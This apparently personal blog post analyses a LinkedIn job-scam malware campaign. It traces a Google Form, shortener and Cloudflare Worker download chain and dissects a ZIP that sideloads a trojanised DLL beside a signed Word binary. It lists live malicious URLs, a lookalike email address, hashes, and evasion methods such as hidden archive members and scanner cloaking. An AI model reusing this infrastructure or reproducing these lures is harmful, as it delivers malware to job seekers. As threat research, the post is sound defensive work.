↓ Skip to main content
  1. Posts/

Anatomy of a LinkedIn Job Scam: A 167 MB DLL-Sideloading Loader Behind Google Forms

Table of Contents

Disclaimer. This is a defensive analysis. No sample was executed during this investigation; every finding below comes from static analysis inside a disposable virtual machine. Hashes are published so readers can check them against VirusTotal without uploading. Do not run the archive. Do not contact the addresses or infrastructure listed here.


TL;DR
#

Someone DM’d me on LinkedIn about a remote part-time job. The “recruiter” pointed at a real logistics company’s real website, then sent me to a Google Form that refuses to render unless you are signed in to Google - a trick that defeats automated scanners and harvests your identity at the same time. Inside the form was a tr.ee link that led to a Cloudflare Worker dressed up as an enterprise file-transfer portal, complete with fake “AES-256 / SHA-256 verified / No threats detected” badges and a three-second auto-download countdown.

What it served was a 167 MB ZIP containing a genuinely Microsoft-signed WinWord.exe sitting next to a trojanised AppvIsvSubsystems32.dll. Windows trusts the signed Office binary; the malicious DLL rides in on its import table. That DLL is a 129 KB stub with 137 MB of encrypted payload bolted onto the end - and its export table has been flooded with 2,027 randomly generated names, all pointing at the same address, to bury the one export the loader actually calls.

VerdictMalicious. Multi-stage loader. Do not run.
DeliveryLinkedIn DM → login-walled Google Form → tr.ee → Cloudflare Worker → 167 MB ZIP
Key trickDLL search-order hijacking using a validly signed Microsoft Word binary as the host
Payload137,364,480-byte maximum-entropy (8.000) encrypted overlay inside the hijacked DLL
DecoyA 70 MB “PDF” that is really a polyglot: 1 empty page, a fake Word playbook, a stock Node.js 20.20.2 runtime, and a Node-API native addon
Anti-analysisdetect-debug-environment (VT tag), sandbox detection, export-table flooding, 167 MB size padding
VT result8/67 on the DLL - popular label trojan.v2fx; the loader: 0/67 (it is genuine Word)
FamilyNot established. The payload is encrypted; the loader is native C++, which does not match the Python/.NET families named in published reports of this campaign
Per-victimEvery download has a different filename, timestamps and different payload bytes at identical offsets - hashes are worthless for detection
Screenshot
The fake SecureTransfer portal

1. The lure
#

1.1 The LinkedIn DM
#

The message read like a hundred legitimate recruiter messages, which is the point:

Hello Adonijah Kiplimo!

I’m xxxxx from Apex Logistics Group, a global freight and supply chain company with 2,500+ team members across 6 continents. We support brands in tech, e-commerce, fashion, and more. You can learn more about us at www.apexglobe.com

I just noticed your profile in my connections list, and after reviewing your background, I believe you could be a great fit for an opportunity we’re hiring for.

This position focuses on planning and overseeing digital ad campaigns in a flexible, remote, part-time role.

If this sounds interesting to you, please fill out this contact form so we can connect further: https://forms.gle/R1eaaKHFe5KnH6v4A

Best regards, xxxxx

Three details are worth pulling out:

  1. The credibility anchor is a real domain. apexglobe.com is genuine and old - first registered 2003-07-07, nameservers CLOUD1.WHC.CA / CLOUD2.WHC.CA (Web Hosting Canada). A 23-year-old domain with a real corporate site is the perfect thing to name-drop. The attacker did not need to build a fake company website; they borrowed one.
  2. The forms.gle link is a Google domain. Google Forms links sail through mail gateways, browser warnings, and most user suspicion.
  3. The role is “remote, part-time, digital ad campaigns.” Generic enough to fit almost any professional’s profile, and it justifies asking for a document.

1.2 The lookalike domain
#

The DM points at apexglobe.com. The form tells the victim to email hr@apexglobe.cc. Same name, different TLD. That single character is the tell - and most recipients would never notice, because by then they are deep inside a Google form and the address looks plausible.

1.3 The Google Form
#

Form ID: docs.google.com/forms/d/e/1FAIpQLSfOxvVeaChkO0mIemod58ynqwlyQdh0q5KuIvb6E6t0PMnFgQ/viewform

The first thing to note is what happened when I requested it without a browser session:

1
2
GET /forms/d/e/1FAIpQLSfOxvVeaChkO0mIemod58ynqwlyQdh0q5KuIvb6E6t0PMnFgQ/viewform HTTP/2
→ HTTP/2 401   (9,146 bytes)

Every alternate access pattern I tried - ?usp=sf_link, ?embedded=true, formResponse, closedform, the legacy /forms/d/<id>/ path - returned a 302 into a sign-in flow. The page body says it plainly:

“Allow Google Forms access to your necessary cookies… Sign in to your Google Account. You must sign in to access this content.”

That is a deliberate anti-analysis control, and it is clever for three reasons:

  • curl, sandboxes and URL scanners get nothing. Every automated triage tool sees a 401 wall.
  • It harvests identity. Google Forms records the signed-in account, so the operator learns a real name and a real email address from anyone who opens it.
  • It filters for compliant, logged-in humans. Someone who opens this is a person with a Google session, which is exactly the profile an infostealer wants.

Figure 2 - the Google Form is login-walled: an anonymous request returns HTTP 401 and the body demands a signed-in Google Account

The form itself is a well-built HR document - “New Project Cooperation Invitation - Advertising Specialist”, an estimated completion time, required fields for full name, email, LinkedIn URL, country, years of Google Ads experience, campaign types, an example campaign file upload, certifications, availability, and expected hourly rate.

Two operational details are worth flagging:

  • It asks for a file upload. That is data collection dressed as due diligence: the victim hands over a real work sample alongside their identity.
  • It demands a confirmation email to hr@apexglobe.cc with a specific subject line, framed as an anti-fraud measure ("to confirm your participation and help prevent automated or fraudulent survey submissions"). This is a lead-quality filter: only people who follow instructions get logged as engaged, responsive targets.

The “Job Description” link inside the form is the payload path:

1
https://tr.ee/Cb4hbc

2. The delivery chain
#

2.1 Hop by hop
#

1
2
3
4
5
6
7
8
9
LinkedIn DM
   └─ https://forms.gle/R1eaaKHFe5KnH6v4A
        └─ docs.google.com/forms/d/e/1FAIpQLSfOxvVeaChkO0mIemod58ynqwlyQdh0q5KuIvb6E6t0PMnFgQ
             └─ https://tr.ee/Cb4hbc                                       [shortener]
                  └─ 302 → https://ama.apexglobalhr666.workers.dev/share/152b513f7ffd8899e6629285
                       └─ 302 → …?cid=t9wjvzob5ydj                          [per-visit tracking]
                            └─ 200  "SecureTransfer - Document Ready"       [fake portal]
                                 └─ POST /api/dl/request → {"url":"/dl/tmp_ec52…"}
                                      └─ 200  Apex_Role_Information_*_Document0926_*.zip  (167 MB)

Observed response headers (abridged) from the shortener and the Worker:

1
2
3
4
5
6
7
8
HTTP/2 302
location: https://ama.apexglobalhr666.workers.dev/share/152b513f7ffd8899e6629285

HTTP/2 302
location: https://ama.apexglobalhr666.workers.dev/share/152b513f7ffd8899e6629285?cid=t9wjvzob5ydj

HTTP/2 200
content-type: text/html; charset=UTF-8

The cid value changed on every request (t9wjvzob5ydj, pz14hndfzthm, ghl5n7qpafs7, poxt7msc2dqw) - a per-visit tracking identifier, so the operator can see exactly who opened the link and when.

Figure 1 - tracing the delivery chain: the shortener 302s straight to the Cloudflare Worker, which returns the fake portal with a fresh per-visit tracking ID

2.2 The fake portal
#

The landing page is a self-contained kit with no external JavaScript - one inline <script> block, all of it hand-written for this purpose. The page is pure theatre:

  • A shield logo and the name “SecureTransfer™”
  • “Document Ready” - “Your file has been verified and is ready for secure transfer.”
  • The file entry, with a Word icon and the label “Verified - No threats detected”
  • A green instruction box: “After downloading, right-click the file and select “Extract All” to access the document contents inside.”
  • Three fake verification rows that “complete” on a timer: Encryption → AES-256 / TLS 1.3, Integrity → SHA-256 verified, Access verification → Access granted
  • A 3-second countdown that auto-triggers the download without a click

The fake SecureTransfer portal

It gave itself away as a template in the markup: the initialisation comment reads // Generate transaction ID (like challenge.html), and the progress-bar strings - “Initializing secure connection…”, “Verifying encryption protocol…”, “Checking SHA-256 integrity…” - are hard-coded in the source, not derived from anything real. The security badges are a setTimeout chain.

2.3 It is API-driven, not a static file link#

The kit never exposes the download URL directly. The JavaScript does:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// 1. read the share token out of the path
var shareToken = window.location.pathname.split('/').pop();

// 2. fetch "file metadata"
fetch('/api/share/' + shareToken).then(r => r.json()).then(function (file) {
    document.getElementById('fileName').textContent = file.display_name || file.filename;
    ...
});

// 3. request a one-time download token, then navigate to it
fetch('/api/dl/request', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ share_token: shareToken })
}).then(r => r.json()).then(function (data) {
    tempUrl = data.url;
    // ... 3-second countdown ...
    window.location.href = tempUrl;
});

I called that API directly. GET /api/share/<token> returns:

1
2
3
4
5
6
7
8
9
{
  "display_name": "Apex_Role_Information_53fe4a_Document0926_20261002.zip",
  "filename":     "Apex_Role_Information_53fe4a_Document0926_20261002.zip",
  "description":  "",
  "size":         167127862,
  "mime_type":    "application/x-zip-compressed",
  "sender_name":  "",
  "sender_avatar":""
}

POST /api/dl/request returns a relative path - {"url":"/dl/tmp_ec52849789ca0f65bb88f92f074519d09020855c"} - which the page joins to the origin. Requests to that path are served as:

1
2
3
4
5
HTTP/2 200
content-type: application/octet-stream
content-disposition: attachment; filename="Apex_Role_Information_9c7ca9_Document0926_20261001.zip"
cf-cache-status: DYNAMIC
server: cloudflare

The temp token is single-use. Requesting the same /dl/tmp_… path a second time returned HTTP 404. The Worker also ignores HTTP Range requests - asking for the last 20 KB returned 200 with the full body, which is itself a small piece of tradecraft: it prevents anyone cheaply sampling the tail of the file.

2.4 The decoy site and scanner evasion
#

The Worker serves a front page at /:

1
<title>Welcome - Personal Blog</title>

It is a fake lifestyle blog - “THE DAILY JOURNAL - Home / About / Archive / Contact”, with an article titled “Finding Balance in a Digital World, June 4, 2026 - Lifestyle” - 3,013 bytes of innocuous content. GET /robots.txt returns 204 No Content, and the custom 404 page is the same 3,013-byte blog page with a 404 status, so probing paths yields nothing interesting.

An independent public scan (urlscan.io, submitted by Hybrid Analysis) recorded this host returning HTTP 403 with that blog title when scanned, while my browser-like requests received the real “SecureTransfer” page. Notably, switching only the User-Agent was not enough to reproduce the block - a default curl UA and a Chrome UA both received the real page. That means the evasion keys on something else: likely the source ASN/IP reputation (Cloudflare sits in front and can see it) or the TLS/HTTP fingerprint, not a naive string check. Either way, the effect is the same: automated scanners get the blog, the victim gets the malware.

One more detail from the decoy page: it contains zero scripts and zero forms - only a stylesheet link and the favicon. It is a purely static decoy with no tracking of its own, which fits the design: the real portal does the tracking via the cid parameter, and the blog exists only to give scanners something innocuous to index.

2.5 Other kit fingerprints
#

PathResponse
/200 · 3,013 B · fake lifestyle blog
/challenge.html404 · 3,013 B · blog page (referenced in the JS comment, but not deployed)
/static/favicon.svg200 · 844 B · indigo→violet gradient shield SVG
/robots.txt204 · empty
/api/share/<token>200 · 254 B · JSON metadata
/share/<token>302 → ?cid=… → portal

3. The payload container
#

File: Apex_Role_Information_<token>_Document0926_<date>.zip Size: 167,140,622 bytes SHA-256: 1d63d06c9c092310544014956f69cb24c177bf9bfa9233d4734a6183dcc87c9d

3.1 Contents
#

MemberUncompressedCompressedRatioSHA-256
~tmp05853C8.pdf70,000,75729,280,6870.4183faac52d9feb85d3eb9e50ecfa1885fa9963edf8f31bfc853e34c0a46007abf4
Apex_Role_Information_Document0926.exe1,756,880209,8610.1198cd271f946d84423c554992eb0176be395cdd7bf6179efe1822759d019c94f34
AppvIsvSubsystems32.dll137,500,856137,431,7250.99964978b374ad0f85a34b07733b124f0bba3fb9d098966771a9ec20779ad0fea9c
msvcp140.dll450,128156,0560.347d164cb20e5b60531061dd9b25f22fd3d0cdbb1e6e36fc5a120056b0546b5917e
vcruntime140.dll90,19248,7430.540226c182cee6430bdaf4c9986bd5efac5e7d1b8b831c9a6c9ae3bfd7d19a8bb2c

Two numbers tell the story before you open anything:

  • The DLL’s compression ratio is 0.999. Deflate cannot compress it at all. That is the signature of encryption or already-compressed data - not of a normal Windows DLL. Every other member compresses normally.
  • The “PDF” is 70 MB for a one-page document with no fonts, no images and no XObjects. It contains no visible content whatsoever.

Figure 3 - archive forensics: hashes, the member table with hidden+system attributes, and the 0.999 compression ratio that proves the DLL overlay is encrypted

3.2 The hidden + system attribute trick
#

Every member is stored with external_attr = 0x26 (hidden + system) - except the loader, which is 0x20 (archive only, i.e., normal):

1
2
3
4
5
~tmp05853C8.pdf                              extattr=0x26  (hidden+system)
Apex_Role_Information_Document0926.exe       extattr=0x20  (normal)   ← the one the victim is meant to see
AppvIsvSubsystems32.dll                      extattr=0x26  (hidden+system)
msvcp140.dll                                 extattr=0x26  (hidden+system)
vcruntime140.dll                             extattr=0x26  (hidden+system)

The archive is built so that when a victim extracts it, Explorer shows exactly one obvious file - the one named after an HR document. Everything else is hidden and flagged as a system file. All five entries also share a single identical timestamp (2026-09-13 12:08:28 in the DOS fields), which is a build artefact, not a real file history.

3.3 The 12,760-byte archive comment, and a forensic gift
#

The ZIP carries an unusual archive comment:

1
--- 83c5685fb9df086b63a81546ef906b743ce748e8693e69e40a242eaaa5cc19eae9b206bd881a3e7585863030f92f68a234f5de6dccde2c59d52c757a21291673b741f42d5bcd126e5ae99b7d4daab8951eb894e210229c6e4db5f891bdd902d317c079ba259d1d73dd18697202f2986a0c937477eb3c320c20a5f878caacce4c65122ada062fe8942e62e7446e73462c41ffc03c78210acf50a3b398ab52639957694f62e5027645d54d792745119fdafaa6a91861f4621bbca52d68b12d5a77d7908a8549a981c52f0e62f3112fff1160a16a65c0593b4c248c0e49661235d210d9912c2eea676c7a2bc9026f7c6308c829877569cae1c22fbe57fcebe9946d33c2c43b0c2f90fc88e7c84d1cbb7d277b8404305c91cdf2bba94d7016a3cf0d3520d8099bf54a38bd939b531ed7cdf7b8d4954969ee8c8ae8c8557861a712c36c74660c3bcab46662684cc2d047bf6176b1fc8a1050de5ca86ec3c01cbedb6c1be856cc0cdd2ac3bbbd31d46d777130d4e37adeec5f7ac840029741bc11e6ef353c652a25555179e874fe6beccd15ec04d5cfbfe5309ce6a0dd8bea4a83bbbe16515022e9673d376a1b047948fe92c4f093442778467959fa4e4ed8d848e9fd45c526fd7c8a551cc408fe00f275ab6f303f38fc904752aaf8e76d355f00c49c9e113670bebd43146e0fad86d7d3e72b4091492a5f7e445d6d1a797d620eed6f5dbeb0fe13fb826ab3d72e35b9c532bb61f5051443c77fe956f3516d2359b2881ad95e0be0846e70043f35477f3ea78616aa44f3901b3cc3881ab6c5b3129e484ef3f306e70a63c1c43b26176e39107b5487087403212cb7a5b6e3900a0578791fe546ece24c14415fdba53090ce32c012a24d5ff0c1f5412186313c9dfc0cefb7b751eda34f96447fc880f8d32af5e5552367e81a21ff7582c53fcce330ad7104cd9d311a19eb6ca0821926b9aa22358058be539a156b6629b3a87c577d3b8ed411e530b463b267e50029d9c0a356fcc9034772110f933ef91331b6814eb5892c1e67fd012c3553281bff518b5711862d13fad4c624290f7c0e38197e3f5a371df84d701442abd04c7c1f303d40a949b9f1c8500411c5c8fd38f0e4fcc14941d67280f61416fd0bcc36d6351425758997ed186e5c90c607facabf0455c47e03984890fa298a1206d5040dc98cdae6a1ba2a37dbc1a9dccf59df5e2941083de95981a72fc8ae8a6a2666e6abdf3e220fee10170e024b1a73d22059570fd7ab15735734acec857d6c1489775fe26af762eae58ef6cb004244ea95cb6181482d29d211c264a154439699f275c022116add50683df20457ec67f72d7aa9013a5e7e61f9c184056dae98010784fdaee8f6c40036d6f43a9df7a3df9c76de7d7877450836508e497027497b14551bf878839a355c2735ec76bf11dc0e2f1294ef515c03db5f58623c3e1a41fc6f2f3489299c96aaa931dd40315e5ad0d402b5bb16d0b651485c675d1738f06350165fe5a76eb3cf6b56b57b3d3f36b33e620b613f1175350d3672a56e470195286a6fbe4dfbbd94de7b4e9ca790b576e204cb7a03945398d354f63c135d0515441b2dce22fea6ee1e49226919fad44157b3a04f7e329b6b5849d0678511702f83152615e7b31089dbb6bac4892b681570baf89e42e39058485163e71cd6d787cfe3bf25f8d250d21d249a4753518d4ea8ed7733215020041242c7a5cf50f04239c29b3157817a6e084d9c3afc15b7a018aefb30ceaa543b828a811fb472d019072a124da84ccbfd1a086af699ae00d5ab0af034ef1293e678bbe51ad6f98e5edea88fe5df541a51a0668c8d61a5e16a2c64a40a2403721520d1262b8ee0a138479f804e949c2e053b8945ab2570a762238afcd830161a3f2bacad08680ab159313c92a3bb1bd78cb4feae5c5dc587fa592e94d1b944117be379e0eb0a30849f29fe9ad20c20932302fc47470959684e9a7ed5a854f4e40e22669e0cc541ece0430ea3fc48d50920000d4fd54c233964c00332701d48680187b13de4c4f3bc9db73707345d4823d34be567d0bb90fa5cd2984749a2e8d1b43d32cb6c37a50ba3ec0553eac66702e577b950d80e886105da759345c085038beda35c2fcba2ed1ed31a4088a4d0f2e5d4e15453d7ee3e3052895092e18976bb834fd603739718117341f136eddf47749447106c37dfd6d14256a448447067ff88aa515ac95ae7d33507acd8f548af544bb2e162ecee63cc6127c7732b5bf58f98fe16028d8c7b8518a982677e0340db0800d294a4da649056f2d5acc9a58d9fe97802c28df4171c3e066656d89bf5fbcc68c7459ddd2ffb97c488cd72a30259cec47ae3af3f5b989d89e579d5a8fe75966241e2310744710e31a39824a964fe4481fd99d553330f56d378576d52fbba5062744e97d23d5af62f4cc9881e19d1e421e6447639ea2b57974a0db59acbef9a2e3ff25712fc90f28962c92907dd2930c1f9ba6348cf030ecdf861c6262c1b9e43802380b679da31ebcb510f0bbf30e49804877a4743841e0f05aaf563206c6fc2351b9769981fc648412beda4f3b661fb1618edb3c95578aa804e65f8613268561b0870c5f4246240789b0fa6dd284c46c860c5e21cc4a3968cdbe90ebcd31f4b5ab4100a46c7596373e09bc3dbae2771eeb5d0cd69f6112db2e9527863255463cde725b9a8c5425a34f17eb770fb666fe0d11398481303db2144db7cbffff94e3029e2a4d4e3fc8d83de87d038405ad4f61dd9b904f7fcc63ebf6cbde87a15f45f59e2ead60329108ec7de38eb378bce3e2e47236f9d2144385eb7da7b3d8ccde315c4e5d0183bfe012f2d64314c936f054d00aebba2769fd7641c7a46f354d20cf61b8af0c32c31befb19ffb5a32d741f1759aa84544dbcdc53abf5a07753eff7661080237f4d0ca0ecf9f32a6181de308f84f0149c4253d70bb36021119b7f27f0fbbe171a327c82776a668c19d9bf07372f08bebd32ad4edebec64a739a117e464f2ed26f3b719cf512b259e511a10198f885540f7d6f7ac6560ad6f45fcd9a366785a7387af4b9f931ac93fedce471d9a5b10be2b1a0691f2f7381d4261f01cdeccc38b2dfee268a429874bea56f9d07ea099971fd5e172a3dc0c02056bc3ed4249c6acebf49c133f32862bd18dcaf00de7cfea72cec0cfd01b9d94b026d2fd5b1db4d3a75c20b90c5fde7dc803324ba6800ddddb039df3149508cdd0c65163f1c60b13d57fb4843c71f28684f7cf3be8e661cc84fc57b5d287eed413fb6eff88854c277205b3de5dc03daa20499fbad41f959356fd80f20e4f8ff4f8db11e7d25bbf30828c9a8a32b2963e3e850d5b06584e334d73b2c1e4263f2d3b930ad088a4fd5c7242d7824683f6e0d163fe161515aa603911fe4268d64875c17753c4975413d0aaccd2df789d5e4a64dd7600b44f5eb36b93f45e231f3e9b913aae144843b0759d0b6910fc2b5fe541449286f8ab7c0777d1a7a0e01cb1f9148e2a412df7adff9f84291d62d522b3e2a75be44cdd017d01fa592007e47055adf0fe98c6c10662ed009d312d544653ccef4e7006965f1fc89f9b145c4b8c144e4f5b6eae8f7f92ebb76ed8cbb4b6e56f10d5cf769881b027f3771407400a39acb1f375b566183b972f211ac4d2d259c0ebbdd526c8a49693e076f6040551a7c46d63a24eeceb7c2dbe2c5cef067bb74efe892bfef807f94d96f95eb0fc0f3f8322f2a042bac2c6e1e8dc2fef03a30e0b6871b5a37081f6a4c7f2cc204a578eab8ba5445451e4ff53fe12e4118a576e7f055b3f9eb3807f0f5c0eaf58ffad76ee6c8f87375f61cd4e855a7bb2c82665309092ee99567d05d5b726d2cf02b9261272468c80979aa6cdb51901d86efba37bf6d5727ea558e9435448d0e4e582d20e15ccbfd84aec85f88bab2805211df70fe43db86dcc6c85dddb1810ccb0cc730f8e3a01454dc5a66d0fe3ed03c900d83423ad218350fe358e40a569f208f64d15e68246e696306bbb4eb837b2a0702807c5a1625686214dc2ff3dc4b8dcc029207fee53b9a971e1f71907141ec906458de069e2b267e3fa3d04efab11fbe7ddb16503bfab3644a272c00489e68a077bc4b9634080f961a048fd21ced9007193a2ec83210748830625d848a6d0c5c8fd6250e918cff5a4e05e30dae93e0faa7b3aee2aa3046c63df8b4a4ae3d1747a45ef60bfb1f7dfbcfdfd932d6caa4ac46c842b196459269a43d6164ffefae0b9aa93c3a5210469ea481f8535c091ece149996b6ed40ca89c1be98b344228ecb5859deb344608768f8c7e523fa232315dac99ad0133271b183846df095f86e24a841d330142f88b024691b238d2e04cddeca5e4ea9d6ba3f6589250c10c557e7ce2606c53f2b23bb0b7398c315e495f6e8f33acadf6288b2d95f0bfad62016abd4b8de53dde6fea5247a0a25aef37a6a887bc6247305b072a454b3b8dfb73ea1747f42712108aa69083e0c3232299cddc3dfa6622d9b2a82f8839487dad419a6c88589c927a88407bf880680039ed6f2db4f8964339f8343031b8101c267528648fd9cf2aa5945cd5149c6dcfa76c72e2d9560c24dea386d0187d44c806040679e452156746159ac2c0c014dbe824f83abd5860f53d53fe0247917ba0043fc0263910fbe474ff5e3dbba748b78242bbcf47313b7421e982d9658e7f9f138eefe05718681c4b0d384cb45d0934372d3087d129cdc1055b95542d8d0e504bba46d906576f213c7735143cff368f496b43d411c26cc51babbea2f7d9a5be8cbcee92b2876d05b0590b1e8c1f1e73ccbcee61059498e9e335bd0307dd49adafeedd13943ad376a7108a3a9a2271a9025445d3223f7e8763c9d6a1d7a897fb802bfcfed8e387060e73eb6630c550972bcd85f093a5106058fc2433fe52c984ae17b6f187fea81f94fd3544f146ed530980ecac307df54f0aa4d10a9c99ac05a9d1cf9125c4a01350af54b7c7d21870141b89cbe2775746f7aa73f9b89f8a4d89c32757d0bed53ecda47ce9def60db8e52b9beca0cb1784963220f0e8cd3d63c060a401d92d6e78091a40118a304a90bb46a8f546e75f900d60b344ab6257a4fcfac12c7d4698859a4a231af0d56278e99ae3e36e16a4feb5fcbe55629d9f00317cd9f2e7b5eeb9521548e3bece24aeaaa5315d6cc8f3e96a6de9a167b076fc449796d3b93f853423dfedcc2ff33a7760de9bbfc04be1fa33169660fbf6d26983194a9e47b2e025341f01d6deb0a5ac2f84ba8d921891bbc7aad2e65a87bd3bcbbce59ff6a44d5a9077af3a640647d93f5e62d43c26ca8901df888206240227764f40d33b71a2c8bc3e015e904c9d29f8ffd7dfbb8fdecdfd40335fe24f83c40423eb5d2c74c02e52a2d3f0f1e07ffe66a87c6055c88c1ecf272ea97684e0dbd2dcca0bfb8eada93c77524ffadd21d229427f232a18abc958d068b87622ae5bbfaafec32ed864fe79ee090882693392291719e8bcbf6c844cfaa699920b963845316c9b1fdfcaa2c8251546dfa6400a1f4418ede256cc4a0d8b93ce73004d3cdedfc13e03a69c267a56db0b47f9046ffad30c6fa9f4af1d88fe633986f789e9363221f90a5613b2114318c5d669251cdb4f8f7a9de065a3f49a13c2ffa28db48b9f3eb9662fe72b0f12c75fc2be1a7f02b396e50fdea378b3a8511ba5ddd7ceb5f9acca22402dcec4ba36a0a5a1e5ceff21db01925878743f0fc7b5d7d616e29620a0527781ae6ce2a9685c428194e6659cae748db9135e3bf7325231e2f4f55defd1cfd45737b49b2696fd17d09d6628604ead18538c0c47b234f942f345072121d49f7015a96c54781f773b88e9bcb6187fc7b1cfc9e8a76088d4c101cc4df4977d2695aab260dcaaf25f96137e50f1ab472385b2ffc7a818efca1a7847445e77672fcb614e75c0d6ee33dc98a78cc13df1c676a3fd61f160dbc72cf99dd7505b9b47dd126d35914cbce4cbf60d6b91966cc30158fb1c2be67895b34b914fa0116eba5f47779e14162ae054a7e04f276539b0f89fefb5cf92c4e52e0efad977bdb452b3ec7dc9011f92c7d8c91dff8ab241b47ec2a6eb7b1c81e33dbf9ca0b579739c81286f2960451c609dec9ffdff1e0d9d594015127756b84fe86b8783c84d86e1e9c8ca09984d1229c486bf3463a555f47de2a4b0ba200cb01fd190cf7168bc9ebd4fd8ba6eb3ba7729b47d266fe281e58728e412531176332219fd2c31e6a2e1f0de1f5655f8fdb91be426334ec707a001cb370cc125bd794deb1b5eca5ee17c6e52ec760314f8776191ec1d8049531c0b8222936afa57a2e2e93f4c6d7f90eed0301e92ed149c6b3a3ac9fad463e9d7442e3ff923d64f8f0ea66d50eb8c06f297976f03aee42ad0f1ae2d396aed129b6ec8ca37cbe2aa5273dd7593cecd34b48a7c29dee12994be8b30cce0c004dbddc91deb590f12e6974ada74b7329925a465f04c32b70a1d8c5928fe8fe1668a743b098d876a0036612a55535f243747319e96839eae2b5c88730ae9a58ee480d9832ad34da280b3563e309a089bd863b4de46bf24b7b90e434c9528452bcf1024d32349eebd247b743858f25c4c827a694eb75e85190e527b7ac5530c23e9a22d46a19ca227a97a34ef372fb687f990e8f270f0f8ec2944d3cc7122658731f139031a94b822a80efa69dec04d639340a1dfe0d2da836077491e66018f5cb832ba3f4c6651909a5ef43b30544cb7f43ace4c49c0c8f9990952ccbb7f6a56ada4e5332edb8e99fcffdd77755b5ca38f56a7e52494193ab11414d4fe5dc5b05bd3e0732ad857b7e2a18eca393269f5e3f4fab0d2cf3af576432cdccd82a8d651f279b81cfd31d21afce5fcd6f83338427f1c9480f9b57dfd7dba54135e38d05bb33f3896f4f13f78dab7ad92fcde1555c8cad3357f43e36f785f5606f18a206332982798e5ae1da7bbf6cb9b4b3096ac0e20020cd2dd744025e3ef585edb556537aca4d382a5d3bf1b6b5bb6e7a3b07dedd4e2d710cfed225dfd2e96e66e627b7a5654442145bf73f95c235bc7d4d91959c5a9e950959b5f584b8051795fcd1f02ae239881d08512483aadf5819a271ecd9447bf18bea31ece9cffd35648682a5fa47b6f89ff8ab81f0a68675644f613f0f50eb01c6eb646e693b1c0b5bc63398a1f31ee0187d7676ab2dd10f2ca7c2ea5abfb9a667c9430a74967f1c77b7ebcc8cd1c171ab9c88c0b0c74bc2a35965d93f7c8d5133cc66f9408a00278663b2123c7ecf1012e050b4d5c655c9f479f476c605ce81238e50178f0635b49ee4fc885923153dae9bb5ec5d2e25eabfc78a60eb29c76041d3e55e0f1c40e450fbed3f08afbc6ef7983bbfeb248dc869d54067da16abd7aa06657e95bb2546e1090749e179ebec8c912b869760786f525f1e20091f43ef56c9098c432fbf93ef435c35016599bfa2bd7534cf33836f78ebaf6ab3d6cf69a0c73a42ca407cd99b1f7722121428f7d7a020eddc89875d0aa5d32cb7fcef6797ce82fa0036b96f98b9f4733cd56a5a1e8f10d19c786d7db163456a5b8da291778fb34452c9009b4473504969863793f4625c2a2be5440857a43b0989d273a63ddf38d433239703c34c9c919bce3aefe68454cd8efbb7ee133e731a8e2be508dcb5a08297ededb78e1aaa0b1556b0dd090576e411d9b26cfd6d2613d9df862bdb922a9b8c1c81641e9d31374d137a1162406dc3c0bbbb9bc65f067f6776b3ddb82d54ba5bbf7cad78766557e523960baaa24e89dc425a563493c25859af34a10dc9485cb88c19a55de806fca243472f2a64dfe36bd7b2f400fe2fb5cfca28d172e012e9072392846e9a45e1a4880b44e09c4a521c132d751e0c04f25f7ca60ec834584f03b0d068d23c461423f274b851c2260f401bd45663505ee37065f1fe34d8ee7160a56c3ccf69ca392790ac90041fe401c05ba73c27b1d916002e8e0bf6d16ce3db3f7286bc2b88a4cbcb2406c773add49a57b28c90595ac2add5311764ed9c732e249d6b87af2a6120968af94e130e5bb88f50198639a9f4717961ae97a69ba2e3e4675b51b4363ef3ce19022772fb3d744d9898425db3bb72c15930150ff545cf03dc4481b312423532ed3bd34c846acc1f6ba1129f73eea7ee529a053492da6156b633b50177c57880d7cae930eb06fa7f4876e6e596875558f22885f22df83025cf5e2fdbe36a0dc0464a60ee7b1dee9c8b0f1694c0c08ef1c0a39f9ab681d8b020b9c6cf0088b9b06894cb410f746d899de0eea43e54985afe3af1427882ca74bcfc71f7feaae4417dd6b6023f3220462cac222894e86f7b5481171f69d838c68f250c84ded03dea5acc5260347f105bf2460d80520c32e05d41352e24c595e261a7b2e87d458773258e5c384828ad2f877493813af8ec12ec31e84502ff3cca5f3ff98d2e2426aa458ecc37e854276fae587315b4c4873aea31e31c4e0c3056a2d829c517d410b59c3ed9e1c59e19381ce6e9f97769665fdece2d72c6d4a09adab458e3320ebb0664efad540e57aac65f0d6e7fc28e76d9cceefb923fc049bccaa3993b44d24fca41b6e4f5876602c876a8d469e67c6e8adb5b19ac9b65dbdbf31aa39149ea5f300ec2372f302bda11a37477dc554f1e48a2c4fa913b10f3f2de736bbbaf8170303fb7997b7de3cffc84fab12527c8cea3952d27698a549c5cb8e72cf043031f7ebbde626e79b29bc00ebafe39d529b896a92ef2bcc17692680b16b0f8234bf634d70da05af61b2f2473bd1fa7be65c3ca12d62cbf064f3a0b43406dc5be913ca1d176723bb5db4e8d07fdf4ec74a0ffcb14e33bf7dcc730b1e5b7e08bcf4dc603fa711ec313522114e01a7e205a7187a6cb77ed09f71ce9722dbc034503ce00e9f41e4c6d03119e4ba36891adb00a69b71290f0178ed6de4133d206f9c829c28603379d87d316ff09a980f12c504925f94f8951a63a6842712f64f350b174be45e5eef6bce0ffcc1fd5c8590b510af1289564016decbc09 ---

Strip the --- delimiters and the body is 12,752 lowercase hex characters → 6,376 bytes at entropy 7.969 - effectively random. It is not a hash, not a certificate, and not readable text. Most likely a per-build identifier or an encrypted blob written by the builder. It is stable in form across downloads and different in content.

That comment produced the single nicest forensic detail of this whole investigation:

The API told us the file was 167,127,862 bytes. The file we received was 167,140,622 bytes.

The difference is 12,760 bytes - exactly the length of the comment.

The end-of-central-directory record sits at offset 167,127,840; adding its 22-byte fixed size gives 167,127,862. In other words, the malware’s own metadata describes the archive before the comment was appended. The builder writes the ZIP, measures it, and then staples the --- <hex> --- blob onto the end.

3.4 Timestamps
#

FieldValue
DOS timestamp (local header and central directory, all 5 entries)2026-09-13 12:08:28
NTFS timestamp in extra field 0x000A (central directory)2026-09-20 13:15:57 (as rendered by 7-Zip)
word/document.xml internal timestamps in the embedded decoy2026-06-12 09:36:54
Loader PE compile timestamp2025-10-07 23:43:22 UTC
Hijacked DLL original compile timestamp2010-07-21 23:21:57 UTC

Note the seven-day disagreement between the DOS fields and the NTFS extra field, on every entry. Whether that is a quirk of the archiver or deliberate timestamp manipulation, it means archive timestamps from this builder should not be trusted for timeline work.


4. Stage 2: the loader (Apex_Role_Information_Document0926.exe)
#

